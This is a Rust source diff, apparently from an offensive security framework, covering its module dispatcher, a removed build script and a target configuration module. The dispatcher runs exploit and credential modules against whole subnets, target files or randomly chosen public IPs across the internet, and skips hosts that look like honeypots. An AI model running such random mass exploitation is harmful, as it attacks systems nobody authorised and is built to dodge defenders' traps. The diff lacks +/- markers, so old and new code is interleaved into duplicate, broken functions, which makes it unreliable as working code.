crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
let module = match cli_args.module.clone() {
Some(m) => m,
None => String::new(),
};
// Resolve the module name by trimming category prefix
let (category, module_name) = match command {
"exploit" => ("exploits", module.trim_start_matches("exploits/").to_string()),
"scanner" => ("scanners", module.trim_start_matches("scanners/").to_string()),
"creds" => ("creds", module.trim_start_matches("creds/").to_string()),
"plugins" => ("plugins", module.trim_start_matches("plugins/").to_string()),
other => (other, module.clone()),
};
// CIDR auto-expansion: iterate over every IP in the subnet concurrently
dispatch_with_cidr(category, &module_name, &target).await?;
Ok(())
}
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
/// Interactive module runner
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
// 1. Resolve module using compile-time list
let available = discover_modules();
// Fuzzy matching logic
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
});
if let Some(m) = full_match {
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
} else if let Some(m) = short_match {
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
}
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
use colored::*;
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
// Fuzzy matching
let best_match = available.iter()
.map(|m| (m, strsim::levenshtein(module_path, m)))
.min_by_key(|&(_, dist)| dist);
if let Some((suggestion, dist)) = best_match {
if dist < 5 {
crate::meprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
}
}
return Ok(());
return Err(anyhow::anyhow!("Module not found"));
};
let target = normalize_target(raw_target)?;
// 2. Resolve target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_target() {
Some(t) => {
crate::mprintln!("[*] Using global target: {}", t);
t
}
None => return Err(anyhow::anyhow!("No global target set")),
}
} else {
return Err(anyhow::anyhow!("No target specified."));
}
} else {
raw_target.to_string()
};
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
let target = if is_mass_scan_target(&target_str) {
target_str.clone()
} else {
normalize_target(&target_str)?
};
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
}
dispatch_with_cidr(category, module_name, &target).await?;
Ok(())
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
/// Dispatch a module against a target, with automatic CIDR subnet expansion
/// and comma-separated multi-target support.
///
/// Handles:
/// - Single IP/hostname: dispatches directly
/// - CIDR subnet: iterates over every IP concurrently
/// - Comma-separated list: dispatches each entry (with subnet expansion for CIDRs)
async fn dispatch_with_cidr(category: &str, module_name: &str, target: &str) -> Result<()> {
use colored::Colorize;
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
}
// Comma-separated multi-target: split and dispatch each
if target.contains(',') {
let targets: Vec<&str> = target.split(',').map(|t| t.trim()).filter(|t| !t.is_empty()).collect();
let count = targets.len();
crate::mprintln!("{}", format!(
"[*] Multi-target detected: {} targets — running '{}/{}' against each",
count, category, module_name
).cyan());
for (i, t) in targets.iter().enumerate() {
crate::mprintln!("\n{}", format!(
"[*] === Target {}/{}: {} ===", i + 1, count, t
).cyan().bold());
if let Err(e) = dispatch_single_target(category, module_name, t).await {
crate::meprintln!("{}", format!("[!] Target '{}' failed: {:?}", t, e).red());
}
}
crate::mprintln!("\n{}", format!(
"[*] Multi-target scan complete: {} targets processed", count
).green().bold());
return Ok(());
}
modules
dispatch_single_target(category, module_name, target).await
}
/// Dispatch a single target (IP/hostname, CIDR subnet, file, or random mass scan).
///
/// This is the unified framework-level dispatcher that ensures every module
/// supports all target types: single IP, CIDR, file-based target lists, and
/// random internet scanning — even if the module has no built-in mass scan handler.
async fn dispatch_single_target(category: &str, module_name: &str, target: &str) -> Result<()> {
use colored::Colorize;
use std::sync::{Arc, atomic::{AtomicUsize, Ordering}};
let is_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
let is_file = !is_random && !is_subnet_target(target) && std::path::Path::new(target).is_file();
// --- Check if honeypot detection is enabled (global option, default: on) ---
// Users can disable with: setg honeypot_detection n
// API users can disable with: prompts: { "honeypot_detection": "n" }
let honeypot_enabled = {
let config = crate::config::get_module_config();
if let Some(val) = config.custom_prompts.get("honeypot_detection") {
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
} else if let Some(val) = crate::global_options::GLOBAL_OPTIONS.try_get("honeypot_detection") {
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
} else {
true // enabled by default
}
};
// --- Random / Internet-wide mass scan (target == "random" or "0.0.0.0") ---
// Framework manages the loop: generates random public IPs, does a TCP port
// pre-check (if port is known via setg), enters batch mode so interactive
// prompts are asked once and cached for all subsequent hosts.
if is_random {
let batch_guard = crate::context::enter_batch_mode();
crate::mprintln!("{}", format!(
"[*] Random mass scan — running '{}/{}' against random public IPs (Ctrl+C to stop)",
category, module_name
).cyan().bold());
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
.try_get("concurrency")
.and_then(|v| v.parse().ok())
.unwrap_or(50);
let max_hosts: usize = crate::global_options::GLOBAL_OPTIONS
.try_get("max_random_hosts")
.and_then(|v| v.parse().ok())
.unwrap_or(10_000);
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
.try_get("module_timeout")
.and_then(|v| v.parse().ok())
.unwrap_or(60);
let precheck_port: Option<u16> = crate::global_options::GLOBAL_OPTIONS
.try_get("port")
.and_then(|v| v.parse().ok());
crate::mprintln!("{}", format!(
"[*] Will scan up to {} random hosts with concurrency {} (setg max_random_hosts / concurrency to change){}",
max_hosts, concurrency,
if let Some(p) = precheck_port { format!(" | port pre-check: {}", p) } else { String::new() }
).cyan());
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
let success_count = Arc::new(AtomicUsize::new(0));
let fail_count = Arc::new(AtomicUsize::new(0));
let checked = Arc::new(AtomicUsize::new(0));
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let category = category.to_string();
let module_name = module_name.to_string();
let prompt_cache = crate::context::new_prompt_cache();
let parent_config = crate::config::get_module_config();
let mut seen = std::collections::HashSet::<std::net::IpAddr>::new();
for _ in 0..max_hosts {
let ip = generate_random_public_ip(&exclusions);
if !seen.insert(ip) {
continue;
}
let ip_str = ip.to_string();
let permit = semaphore.clone().acquire_owned().await
.context("Semaphore closed")?;
let sc = success_count.clone();
let fc = fail_count.clone();
let tc = checked.clone();
let cat = category.clone();
let mname = module_name.clone();
let pc = prompt_cache.clone();
let cfg = parent_config.clone();
tokio::spawn(async move {
// Combined port pre-check + honeypot detection via native network lib
if !crate::utils::network::mass_scan_precheck(ip, precheck_port, honeypot_enabled).await {
fc.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
if idx % 50 == 0 || idx == 1 {
crate::mprintln!("[*] Progress: {} hosts scanned | {} ok | {} err",
idx,
sc.load(Ordering::Relaxed),
fc.load(Ordering::Relaxed));
}
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
cfg, pc, ip_str.clone(),
));
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
tokio::time::timeout(
std::time::Duration::from_secs(module_timeout_secs),
registry::dispatch_by_category(&cat, &mname, &ip_str),
).await
}).await;
match dispatch_result {
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
Ok(Err(e)) => {
tracing::debug!("Mass scan {} failed: {:?}", ip_str, e);
fc.fetch_add(1, Ordering::Relaxed);
}
Err(_) => {
fc.fetch_add(1, Ordering::Relaxed);
}
}
drop(permit);
});
}
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
crate::meprintln!("[!] Drain barrier failed: {}", e);
}
drop(batch_guard);
print_scan_summary("Random Mass Scan",
checked.load(Ordering::Relaxed),
success_count.load(Ordering::Relaxed),
fail_count.load(Ordering::Relaxed));
return Ok(());
}
// --- File-based target list ---
if is_file {
let batch_guard = crate::context::enter_batch_mode();
let content = crate::utils::safe_read_to_string_async(target, None).await
.with_context(|| format!("Failed to read target file '{}'", target))?;
let targets: Vec<String> = content.lines()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty() && !s.starts_with('#'))
.collect();
let count = targets.len();
crate::mprintln!("{}", format!(
"[*] File target list: {} hosts from '{}' — running '{}/{}'",
count, target, category, module_name
).cyan().bold());
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
.try_get("concurrency")
.and_then(|v| v.parse().ok())
.unwrap_or(50);
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
.try_get("module_timeout")
.and_then(|v| v.parse().ok())
.unwrap_or(60);
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
let success_count = Arc::new(AtomicUsize::new(0));
let fail_count = Arc::new(AtomicUsize::new(0));
let total = Arc::new(AtomicUsize::new(0));
let category = category.to_string();
let module_name = module_name.to_string();
// Shared prompt cache: all concurrent tasks share one set of prompt answers
let prompt_cache = crate::context::new_prompt_cache();
let parent_config = crate::config::get_module_config();
for ip_str in targets {
let permit = semaphore.clone().acquire_owned().await
.context("Semaphore closed")?;
let sc = success_count.clone();
let fc = fail_count.clone();
let tc = total.clone();
let cat = category.clone();
let mname = module_name.clone();
let pc = prompt_cache.clone();
let cfg = parent_config.clone();
tokio::spawn(async move {
// Quick honeypot check before running module
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
fc.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
if idx % 50 == 0 || idx == 1 {
crate::mprintln!("[*] Progress: {}/{} hosts processed...", idx, count);
}
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
cfg, pc, ip_str.clone(),
));
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
tokio::time::timeout(
std::time::Duration::from_secs(module_timeout_secs),
registry::dispatch_by_category(&cat, &mname, &ip_str),
).await
}).await;
match dispatch_result {
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
Ok(Err(e)) => {
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
fc.fetch_add(1, Ordering::Relaxed);
}
Err(_) => {
fc.fetch_add(1, Ordering::Relaxed);
tracing::debug!("File target {} timed out after {}s", ip_str, module_timeout_secs);
}
}
});
}
// Drain barrier: wait until all in-flight tasks release their permits.
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
crate::meprintln!("[!] Drain barrier failed (semaphore closed): {}", e);
}
drop(batch_guard);
print_scan_summary("File Target Scan",
total.load(Ordering::Relaxed),
success_count.load(Ordering::Relaxed),
fail_count.load(Ordering::Relaxed));
return Ok(());
}
// --- CIDR subnet expansion — handles ANY size subnet via lazy iteration ---
if is_subnet_target(target) {
let network = parse_subnet(target)?;
let host_count = subnet_host_count(&network);
// /32 or /128 — single host, dispatch directly without subnet machinery
if host_count <= 1 {
let ip_str = network.network().to_string();
crate::mprintln!("{}", format!(
"[*] Single-host subnet {} — dispatching as {}", target, ip_str
).cyan());
registry::dispatch_by_category(category, module_name, &ip_str).await?;
return Ok(());
}
let batch_guard = crate::context::enter_batch_mode();
// Concurrency from global options, default 50
let concurrency: usize = crate::global_options::GLOBAL_OPTIONS
.try_get("concurrency")
.and_then(|v| v.parse().ok())
.unwrap_or(50);
let module_timeout_secs: u64 = crate::global_options::GLOBAL_OPTIONS
.try_get("module_timeout")
.and_then(|v| v.parse().ok())
.unwrap_or(60);
// Warn for very large subnets but don't block
if host_count > 1_000_000 {
crate::mprintln!("{}", format!(
"[!] Large subnet: {} ({} hosts) — this will take a while. Concurrency: {}. Ctrl+C to stop.",
network, host_count, concurrency
).yellow().bold());
}
crate::mprintln!("{}", format!(
"[*] Subnet: {} ({} hosts) — running '{}/{}' with concurrency {}",
network, host_count, category, module_name, concurrency
).cyan());
let semaphore = Arc::new(tokio::sync::Semaphore::new(concurrency));
let success_count = Arc::new(AtomicUsize::new(0));
let fail_count = Arc::new(AtomicUsize::new(0));
let total = Arc::new(AtomicUsize::new(0));
let category = category.to_string();
let module_name = module_name.to_string();
// Shared prompt cache: all concurrent tasks share one set of prompt answers
let prompt_cache = crate::context::new_prompt_cache();
let parent_config = crate::config::get_module_config();
// Adaptive progress interval: every 50 for small, 1000 for medium, 10000 for huge
let progress_interval = if host_count > 10_000_000 {
10_000
} else if host_count > 100_000 {
1_000
} else if host_count > 1_000 {
100
} else {
50
};
// Lazy iteration — never allocates all IPs in memory
for ip in network.iter() {
let permit = semaphore.clone().acquire_owned().await
.context("Semaphore closed")?;
let sc = success_count.clone();
let fc = fail_count.clone();
let tc = total.clone();
let cat = category.clone();
let mname = module_name.clone();
let ip_str = ip.to_string();
let pc = prompt_cache.clone();
let cfg = parent_config.clone();
tokio::spawn(async move {
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
crate::meprintln!("[!] Skipping {} — honeypot detected", ip_str);
fc.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
let idx = tc.fetch_add(1, Ordering::Relaxed) + 1;
if idx % progress_interval == 0 || idx == 1 {
crate::mprintln!("[*] Progress: {}/{} hosts ({:.1}%) | {} ok | {} err",
idx, host_count,
(idx as f64 / host_count as f64) * 100.0,
sc.load(Ordering::Relaxed),
fc.load(Ordering::Relaxed));
}
let ctx = std::sync::Arc::new(crate::context::RunContext::with_prompt_cache(
cfg, pc, ip_str.clone(),
));
let dispatch_result = crate::context::RUN_CONTEXT.scope(ctx, async {
tokio::time::timeout(
std::time::Duration::from_secs(module_timeout_secs),
registry::dispatch_by_category(&cat, &mname, &ip_str),
).await
}).await;
match dispatch_result {
Ok(Ok(_)) => { sc.fetch_add(1, Ordering::Relaxed); }
Ok(Err(e)) => {
crate::meprintln!("[!] {} failed: {:?}", ip_str, e);
fc.fetch_add(1, Ordering::Relaxed);
}
Err(_) => {
fc.fetch_add(1, Ordering::Relaxed);
tracing::debug!("Subnet {} timed out after {}s", ip_str, module_timeout_secs);
}
}
drop(permit);
});
}
// Drain barrier: wait until all in-flight tasks release their permits.
if let Err(e) = semaphore.acquire_many(concurrency as u32).await {
crate::meprintln!("[!] Drain barrier failed (semaphore closed): {}", e);
}
drop(batch_guard);
print_scan_summary("Subnet Scan",
host_count as usize,
success_count.load(Ordering::Relaxed),
fail_count.load(Ordering::Relaxed));
return Ok(());
}
// --- Single target ---
if honeypot_enabled && crate::utils::network::quick_honeypot_check(target).await {
crate::mprintln!("{}", format!(
"[!] Target {} appears to be a honeypot (11+ common ports open) — skipping",
target
).red().bold());
return Ok(());
}
registry::dispatch_by_category(category, module_name, target).await?;
Ok(())
}
/// Generate a random IP address within a given network range.
/// Works for both IPv4 and IPv6 subnets of any size, including private ranges.
fn print_scan_summary(label: &str, total: usize, success: usize, failed: usize) {
use colored::Colorize;
crate::mprintln!("\n{}", format!("=== {} Summary ===", label).cyan().bold());
crate::mprintln!(" Total: {}", total);
crate::mprintln!(" {}", format!("Successful: {}", success).green());
crate::mprintln!(" {}", format!("Failed: {}", failed).red());
}
/// Helper to aggregate all available modules from generated registry
pub fn discover_modules() -> Vec<String> {
registry::all_modules()
}
/// Check if any third-party plugins are loaded.
pub fn plugin_count() -> usize {
discover_modules().iter().filter(|m| m.starts_with("plugins/")).count()
}
pub fn categories() -> &'static [&'static str] {
registry::CATEGORIES
}
pub fn has_check(module_path: &str) -> bool {
let mut parts = module_path.splitn(2, '/');
let category = match parts.next() { Some(c) => c, None => return false };
let module_name = match parts.next() { Some(m) => m, None => return false };
registry::check_available_by_category(category, module_name)
}
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
let mut parts = module_path.splitn(2, '/');
let category = parts.next()?;
let module_name = parts.next()?;
registry::info_by_category(category, module_name)
}
/// Run a non-destructive vulnerability check if the module supports it.
pub async fn check_module(module_path: &str, target: &str) -> Option<crate::module_info::CheckResult> {
let mut parts = module_path.splitn(2, '/');
let category = parts.next()?;
let module_name = parts.next()?;
registry::check_by_category(category, module_name, target).await
}
+1
View File
@@ -0,0 +1 @@
include!(concat!(env!("OUT_DIR"), "/plugins_dispatch.rs"));
-6
View File
@@ -1,7 +1 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
+399
View File
@@ -0,0 +1,399 @@
use std::collections::HashMap;
use std::sync::{Arc, RwLock};
use anyhow::{anyhow, Result};
use ipnetwork::IpNetwork;
use regex::Regex;
/// Maximum length for target strings
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for hostname
const MAX_HOSTNAME_LENGTH: usize = 253;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
/// Comma-separated list of targets (IPs, hostnames, and/or CIDRs)
Multi(Vec<String>),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
// Basic validation
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Length check
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Target cannot contain control characters"));
}
// Mass scan keywords: "random", "0.0.0.0" — store as-is
if trimmed == "random" || trimmed == "0.0.0.0" {
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
return Ok(());
}
// File-based target list: resolve canonical path to prevent traversal,
// then store if the file exists. This check must come before the ".."
// rejection so relative file paths like "../targets.txt" work.
let path = std::path::Path::new(trimmed);
if path.exists() && path.is_file() {
// Resolve to canonical path (eliminates .., symlinks, etc.)
let canonical = path.canonicalize()
.map_err(|e| anyhow!("Failed to resolve file path '{}': {}", trimmed, e))?;
let canonical_str = canonical.to_string_lossy().to_string();
if canonical_str.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Canonical path too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Single(canonical_str));
return Ok(());
}
// Check for path traversal attempts (only for non-file targets)
if trimmed.contains("..") || trimmed.contains("//") {
return Err(anyhow!("Target contains invalid characters (path traversal)"));
}
// Comma-separated multi-target: "10.0.0.1, 192.168.1.0/24, example.com"
if trimmed.contains(',') {
let targets: Vec<String> = trimmed
.split(',')
.map(|t| t.trim().to_string())
.filter(|t| !t.is_empty())
.collect();
if targets.is_empty() {
return Err(anyhow!("No valid targets in comma-separated list"));
}
if targets.len() == 1 {
// Single target after parsing — recurse without comma
return self.set_target(&targets[0]);
}
// Validate each individual target
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
for t in &targets {
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
continue;
}
if std::path::Path::new(t.as_str()).is_file() {
continue;
}
if t.parse::<IpNetwork>().is_err() {
Self::validate_hostname_or_ip(t)?;
}
}
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Multi(targets));
return Ok(());
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Validate hostname/IP format
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Validates a hostname or IP address format
fn validate_hostname_or_ip(target: &str) -> Result<()> {
// Length check for hostname
if target.len() > MAX_HOSTNAME_LENGTH {
return Err(anyhow!(
"Hostname too long (max {} characters)",
MAX_HOSTNAME_LENGTH
));
}
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
});
let valid_chars = &*VALID_CHARS;
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
));
}
// Check for spaces
if target.contains(' ') {
return Err(anyhow!("Target cannot contain spaces"));
}
// Basic hostname format check (not starting/ending with special chars)
if target.starts_with('.') || target.starts_with('-') {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
if target.ends_with('.') && !target.ends_with("..") {
// Allow trailing dot for FQDN, but not double dots
}
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
}
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let guard = self.target.read().ok()?;
guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
TargetConfig::Multi(targets) => targets.join(", "),
})
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
self.target.read().map(|g| g.is_some()).unwrap_or(false)
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)) | Some(TargetConfig::Multi(_)))).unwrap_or(false)
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().ok()?;
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
Some(Self::network_size(net))
}
Some(TargetConfig::Multi(targets)) => {
let mut total = 0u64;
for t in targets {
if let Ok(net) = t.parse::<IpNetwork>() {
total = total.saturating_add(Self::network_size(&net));
} else {
total = total.saturating_add(1);
}
}
Some(total)
}
None => None,
}
}
/// Calculate the number of IPs in a network
fn network_size(net: &IpNetwork) -> u64 {
match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 { 1u64 } else { 2u64.pow(32 - prefix) }
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 { u64::MAX } else { 2u64.pow(exp) }
}
}
}
}
/// Clear the global target
pub fn clear_target(&self) {
if let Ok(mut target_guard) = self.target.write() {
*target_guard = None;
}
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
/// Module-level configuration for API-driven execution
/// This is set by the API before running a module and read by modules
/// to get pre-configured values instead of prompting the user
///
/// # Unified Prompt Keys
///
/// These are the standardized `custom_prompts` keys used across all
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
/// JSON `"prompts"` object of an API `/api/run` request.
///
/// ## Common Keys (used by many modules)
/// | Key | Type | Description |
/// |-------------------|--------|------------------------------------------------|
/// | `port` | u16 | Target service port |
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
/// | `verbose` | y/n | Verbose output |
/// | `save_results` | y/n | Save results to file |
/// | `output_file` | string | Output filename for results |
/// | `concurrency` | int | Number of concurrent threads/tasks |
/// | `threads` | int | Alias for concurrency (some modules) |
/// | `wordlist` | path | Path to wordlist file |
/// | `target_file` | path | Path to file containing targets |
/// | `additional_targets` | string | Comma-separated additional targets |
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
///
/// ## Scanner-Specific Keys
///
/// ### Port Scanner (`scanners/port_scanner`)
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
///
/// ### SSH Scanner (`scanners/ssh_scanner`)
/// `load_from_file`, `target_file`
///
/// ### DNS Recursion (`scanners/dns_recursion`)
/// `domain`, `record_type`
///
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
///
/// ### Ping Sweep (`scanners/ping_sweep`)
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
///
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
/// `check_http`, `check_https`, `use_ports`, `ports`
///
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
/// `scheme`, `use_ports`, `ports`
///
/// ### Dir Brute (`scanners/dir_brute`)
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
///
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
///
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
///
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
///
